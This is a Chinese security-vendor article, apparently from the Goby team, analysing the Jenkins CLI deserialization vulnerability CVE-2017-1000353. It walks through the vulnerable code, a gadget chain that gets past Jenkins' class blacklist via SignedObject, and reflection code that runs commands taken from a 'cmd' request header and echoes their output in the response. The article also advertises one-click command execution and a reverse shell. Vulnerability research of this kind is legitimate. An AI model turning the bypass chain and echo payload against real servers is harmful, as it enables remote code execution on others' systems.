漏洞分析|死磕Jenkins漏洞回显与利用效果
2023-6-27 18:28:42 Author: mp.weixin.qq.com(查看原文) 阅读量:9 收藏


Goby 28 

9135    20 

 01 背景

近期我们发起了一个 Goby 漏洞挑战赛的活动,在活动期间收到了大量的反馈信息,延伸出一系列在编写 PoC 漏洞检测与利用中考虑场景不全的问题,我们针对发现的各种场景用市面上常见的工具进行了一些列的对比工作,发现市面上工具在检测原理与利用流程上普遍存在很多同质化的问题,如漏洞的检查中并未全面的考虑实际被检测的环境情况多样性的问题:包括漏洞本身无回显、目标靶机不出网、系统兼容性差(win,linux)以及产品版本兼容性不高等问题。

本文以 Jenkins 反序列化漏洞作为优化案例,分享我们的解决漏洞问题的方式。首先,用户反馈了Jenkins 漏洞无法利用的问题。在漏洞分析过程中,发现之前的 EXP 利用中依赖了一个 jar 包,由于 Goby 没有外挂该 jar 包导致漏洞的无法利用。如果我们重新加入这个 jar 包的话,会使 Goby 程序变得臃肿,且这种利用方式没有回显效果,这并不符合 Goby 简洁高效、多版本兼容性、具有直接的回显效果的漏洞标准。因此,我们通过分析 CVE-2017-1000353 的相关材料,研究 Jenkins 的回显功能,最终在 Goby 上完成了高版本兼容、一键命令执行、反弹 shell 的效果,让漏洞利用变得更加简洁、直观、高效。

工具/效果
修改前
修改后
执行命令
支持
支持
命令回显不支持支持
利用过程第三方工具发包一键命令执行
依赖环境
第三方jar包无需
便捷性
操作简单操作简单

 02 漏洞分析

Jenkins cli 序列化代码执行漏洞(CVE-2017-1000353)是在 cli 接口中出现的,当服务端在处理 download请求时,会调用 download()方法,并等待一个 upload 请求。在收到 upload请求后,将请求内容作为输入流传入到创建的 Channel 对象中。在创建 Channel对象时,会同时创建一个子线程来读取序列化对象,读取对象过程中调用了 readObject() 方法,从而导致反序列化漏洞的出现。

漏洞是出在 cli 接口处理响应信息中出现的,当 http 请求头中的 Side 的值为 download 时,会调用 server.download(req,rsp); 对请求信息进行处理。

private class CliEndpointResponse extends HttpResponseException {  @Override  public void generateResponse(StaplerRequest req, StaplerResponse rsp, Object node) throws IOException, ServletException {    try {      UUID uuid = UUID.fromString(req.getHeader("Session"));      rsp.setHeader("Hudson-Duplex","");      FullDuplexHttpChannel server;      if(req.getHeader("Side").equals("download")) {        ......        try {          server.download(req,rsp);        } finally {          duplexChannels.remove(uuid);        }      } else {        duplexChannels.get(uuid).upload(req,rsp);      }    } catch (InterruptedException e) {......}  }}

在类的 downlod() 方法中,首先会挂起等待,用于检测是否成功接收到了 upload 请求,当从 upload 请求中读到了内容后,会创建一个 Channel 对象,在创建  Channel 对象时会将 upload 的请求内容传入进去。Channel 内部会进行多次 this 调用。

public synchronized void download(StaplerRequest req, StaplerResponse rsp) throws InterruptedException, IOException {  ......  try {      channel = new Channel("HTTP full-duplex channel " + uuid,      Computer.threadPoolForRemoting, Mode.BINARY, upload, out, null, restricted);  ......  } finally {......}}

Channel() 的一系列 this 调用后,最终会调用 transport.setup() 方法,

@Deprecatedpublic Channel(String name, ExecutorService exec, Mode mode, InputStream is, OutputStream os, OutputStream header, boolean restricted) throws IOException {  this(name,exec,mode,is,os,header,restricted,null);}  ......protected Channel(ChannelBuilder settings, CommandTransport transport) throws IOException {  ......  transport.setup(this, new CommandReceiver() {        public void handle(Command cmd) {            commandsReceived++;            lastCommandReceivedAt = System.currentTimeMillis();            if (logger.isLoggable(Level.FINE))                logger.fine("Received " + cmd);            try {                cmd.execute(Channel.this);            } catch (Throwable t) {                logger.log(Level.SEVERE, "Failed to execute command " + cmd + " (channel " + Channel.this.name + ")", t);                logger.log(Level.SEVERE, "This command is created here", cmd.createdAt);            }        }    ......    });    ACTIVE_CHANNELS.put(this,ref());}

setup() 方法中会通过 new ReaderThread(receiver).start();创建一个子线程。

@Overridepublic void setup(Channel channel, CommandReceiver receiver) {    this.channel = channel;    new ReaderThread(receiver).start();}

线程中会调用 ClassicCommandTransport 类的 read() 方法。

@Overridepublic void run() {    final String name =channel.getName();    try {        while(!channel.isInClosed()) {            Command cmd = null;            try {                cmd = read();            } catch (SocketTimeoutException ex) {                if (RDR_FAIL_ON_SOCKET_TIMEOUT) {                    LOGGER.log(Level.SEVERE, "Socket timeout in the Synchronous channel reader."                            + " The channel will be interrupted, because " + RDR_SOCKET_TIMEOUT_PROPERTY_NAME                             + " is set", ex);                    throw ex;                }            }            ......        }    }}

该方法中功能包含一个 Command 类的 readFrom() 方法,会对传入的字节流进行 readObject() 操作,从而导致了反序列化代码执行。

public final Command read() throws IOException, ClassNotFoundException {    try {        Command cmd = Command.readFrom(channel, ois);        if (rawIn!=null)            rawIn.clear();        return cmd;    } catch (RuntimeException e) {// see JENKINS-19046        throw diagnoseStreamCorruption(e);    } catch (StreamCorruptedException e) {        throw diagnoseStreamCorruption(e);    }}
static Command readFrom(Channel channel, ObjectInputStream ois) throws IOException, ClassNotFoundException {  Channel old = Channel.setCurrent(channel);  try {    return (Command)ois.readObject();  } finally {    Channel.setCurrent(old);  }}

 03 漏洞利用

在分析完漏洞原因后,我们需要思考如何构造 Payload 利用漏洞。由于 Jenkins 中包含了 org.apache.commons.collections 依赖项目,我们则就可以尝试用 CC 链进行反序列化攻击,但在 Jenkins 的黑名单中禁止了 CC 链的直接反序列化,则就需要找到一条链绕过黑名单的限制。

3.1 序列化黑名单

在漏洞分析章节中提到,Channel() 方法会经过一系列的 this 调用,该过程中调用了 ChannelBuilder 类的 negotiate() 方法,该方法在 return 时调用了中的 makeTransport() 方法,返回了一个 ClassicCommandTransport 对象,在创建该对象过程中,会创建一个 ObjectInputStreamEx 对象并在传参过程中调用该类的 getClassFilter() 方法,getClassFilter() 方法返回了一个 ClassFilter.DEFAULT,ClassFilter.DEFAULT 最终会返回了一个定义好的黑名单类列表,其中就包含了 CC 链中的相关类。

private static final String[] DEFAULT_PATTERNS = {    "^bsh[.].*",    "^com[.]google[.]inject[.].*",    "^com[.]mchange[.]v2[.]c3p0[.].*",    "^com[.]sun[.]jndi[.].*",    "^com[.]sun[.]corba[.].*",    "^com[.]sun[.]javafx[.].*",    "^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*",    "^java[.]awt[.].*",    "^java[.]rmi[.].*",    "^javax[.]management[.].*",    "^javax[.]naming[.].*",    "^javax[.]script[.].*",    "^javax[.]swing[.].*",    "^org[.]apache[.]commons[.]beanutils[.].*",    "^org[.]apache[.]commons[.]collections[.]functors[.].*",    "^org[.]apache[.]myfaces[.].*",    "^org[.]apache[.]wicket[.].*",    ".*org[.]apache[.]xalan.*",    "^org[.]codehaus[.]groovy[.]runtime[.].*",    "^org[.]hibernate[.].*",    "^org[.]python[.].*",    "^org[.]springframework[.](?!(\\p{Alnum}+[.])*\\p{Alnum}*Exception$).*",    "^sun[.]rmi[.].*",    "^javax[.]imageio[.].*",    "^java[.]util[.]ServiceLoader$",    "^java[.]net[.]URLClassLoader$"};

3.2 黑名单绕过

jenkins 的黑名单限制了 CC 链利用的相关类,但 SignedObject 类没有在黑名单中,SignedObject 类在创建对象时可以传入一个序列化类型的对象,并且 SignedObject 类的 getObject() 方法中会对传入的序列化对象进行反序列化操作,即调用 readObject() 方法,这里的 readObject() 方法并没有对限制 CC 类的使用,从而可以传入构造的序列化对象进行反序列化恶意执行代码。因此,需要构造一个调用链去调用 SignedObject 类的 getObject() 方法的利用链,从而绕过 CC 链的黑名单的限制,进行反序列化攻击。

3.3 CC 利用链绕过的流程

3.4 Payload 分析

在对 ReferenceMap 类进行反序列化时,会默认调用其 readObject 方法。

doReadObject 方法对序列化流进行读取,分别复制给 key 和 value,并调用 put 方法,将其放到一个 map 中。

在 put 方法中,调用了 isEqualKey 方法对传入的两个 key 做比较。

由于传入的 key 是 CopyOnWriteArraySet 对象因此会调用该对象的 equals 方法

CopyOnWriteArraySet.equals() 方法中调用了 eq() 方法判断传入的两个对象是否相等。

由于在处理 CopyOnWriteArraySetequals 方法中传入的对象是 CopyOnWriteArraySet 包装的 ConcurrentSkipListSet 对象和 ListOrderedSet 对象,因此会调用 ConcurrentSkipListSet 对象的 equals 对象将 ListOrderedSet 对象传入进去。

在 Payload 中,由于将 ListOrderedSet 对象的 collection 替换成了 JSONArray 对象。因此在调用 containsAll 方法中,会调用 JSONArray 类的 containsAll 方法对传入的 ConcurrentSkipListSet 对象进行处理。

再经过 JSONArray 类内部的方法遍历元素,当传入的元素是一个对象时,则就是将其转换成 JSON 对象并使用 PropertyUtils.getProperty() 方法获取其中的属性值,在获取属性值的过程中通过反射机制调用了该 SignedObject 对象的 getObject(),完成了 CC 链的入口点。

 *   JSONArray.containsAll() -> *    JSONArray.containsAll() -> *     JSONArray.fromObject() -> *      JSONArray._fromCollection() -> *       JSONArray.addValue() -> *        JSONArray.processValue() -> *         JSONArray._processValue() -> *          AbstractJSON._processValue() -> *           JSONObject.fromObject() -> *            JSONObject._fromBean() -> *             JSONObject.defaultBeanProcessing() -> *              PropertyUtils.getProperty() -> *               PropertyUtilsBean.getProperty() -> *                PropertyUtilsBean.getNestedProperty() -> *                 PropertyUtilsBean.getSimpleProperty() -> *                  PropertyUtilsBean.invokeMethod() -> *                   SignedObject.getObject() ->

3.5 SignedObject 类

SignedObject 类的构造方法中传入了一个 Serializable 类型对象,并将其序列化并保存到了 content 属性中,在 SignedObjectgetObject() 方法中对 content 进行了反序列化操作。

3.6 漏洞修复

官方的修复方式是将 SingedObejct 类加入了黑名单。

 04 回显利用

上面我们已经绕过了 CC 链的黑名单限制,这时,我们就需要思考如何进行漏洞的利用效果,市面上的主流工具如 vulhub 给出的利用方式是通过 jar 包生成执行系统命令的序列化对象,但利用过程比较繁琐,无法便捷有效的展示漏洞利用效果。

针对 jenkins 的 http 请求和 servlet 的处理是基于 jetty 服务器实现的,在jetty服务器的回显马 jetty789Echo.jsp(https://github.com/feihong-cs/Java-Rce-Echo/blob/master/Jetty/code/jetty789Echo.jsp) 中给出了 jetty 的两种回显方式。由于 CVE-2017-1000353 漏洞在利用过程中创建了 channel 的特性,并将漏洞的 download 和 upload 类型的 http 请求传入了进去。这时我们就可以通过反射获取这个 channel 中的http 属性,并通过传入 http 消息头中的某些字段进行读取传入的命令内容将其执行,并将执行结果在写入到响应包中,这样就完成了整个回显过程。

反射获取 channel 对象中的 underlyingOutput 属性。

Field underlyingOutputField = channel.getClass().getDeclaredField("underlyingOutput");underlyingOutputField.setAccessible(true);Object underlyingOutput = underlyingOutputField.get(channel);Object httpConnection;

underlyingOutput 属性的 _channelthis$0 的属性中保存了 http 请求响应的相关信息,通过反射获取 _channelthis$0 的属性并赋值给 httpConnection 对象。

try{  Field _channelField = underlyingOutput.getClass().getDeclaredField("_channel");  _channelField.setAccessible(true);  httpConnection = _channelField.get(underlyingOutput);    }catch (Exception e){  Field connectionField = underlyingOutput.getClass().getDeclaredField("this$0");  connectionField.setAccessible(true);  httpConnection = connectionField.get(underlyingOutput);}

获取到 http 信息后,再通过反射获取请求头中的命令执行 cmd 字段的值,并将其执行,写入到响应中。

Object request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection);Object response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection);String cmd = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "cmd");OutputStream outputStream = (OutputStream)response.getClass().getMethod("getOutputStream").invoke(response);String result = "\n"+exec(cmd);outputStream.write(result.getBytes());outputStream.flush();

这些技术都集成在了 Goby 上,在 Goby 上就可以体验到 CVE-2017-1000353 漏洞一键命令执行、反弹 shell 的功能。

 05 效果对比


工具/效果
Goby
CVE-2017-1000353-SNAPSHOT-all.jar
执行命令
支持
支持
命令回显
支持支持
利用过程
一键命令执行
手工生成序列化数据包,执行脚本发送 payload
依赖环境
无需
java、python
便携性
操作简单
操作繁琐

最后感谢 @irelia 师傅的漏洞问题反馈,已奖励红队版15天。我们期待更多师傅真诚反馈产品问题,这对 Goby 的进步至关重要。可加入微信群:公众号发暗号“加群”

 06 

https://github.com/vulhub/CVE-2017-1000353

https://github.com/r00t4dm/Jenkins-CVE-2017-1000353

https://paper.seebug.org/295/

https://github.com/feihong-cs/Java-Rce-Echo

 Goby 使

 su18 | Goby

 su18 | Goby

 14m3ta7k | WeblogicIIOP

 14m3ta7k | Weblogic CVE-2023-21931漏洞挖掘技技巧:后反序列化利用

 kv2 | 死磕RDP协议,从截图和暴破说起

 >>  

Goby /

稿 GobyGoby ///// PoC / IP 使/ Webshell /  Goby ~~~

  • https://gobysec.net/sale


文章来源: https://mp.weixin.qq.com/s?__biz=MzI4MzcwNTAzOQ==&mid=2247528988&idx=1&sn=ce221e6ef302aa68a7a50b5946aab1ad&chksm=eb8499bcdcf310aac0dee3d4c1489b7eda0cb8f18ff91ba5f33608dec6e266c0f43fb53d8be4&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh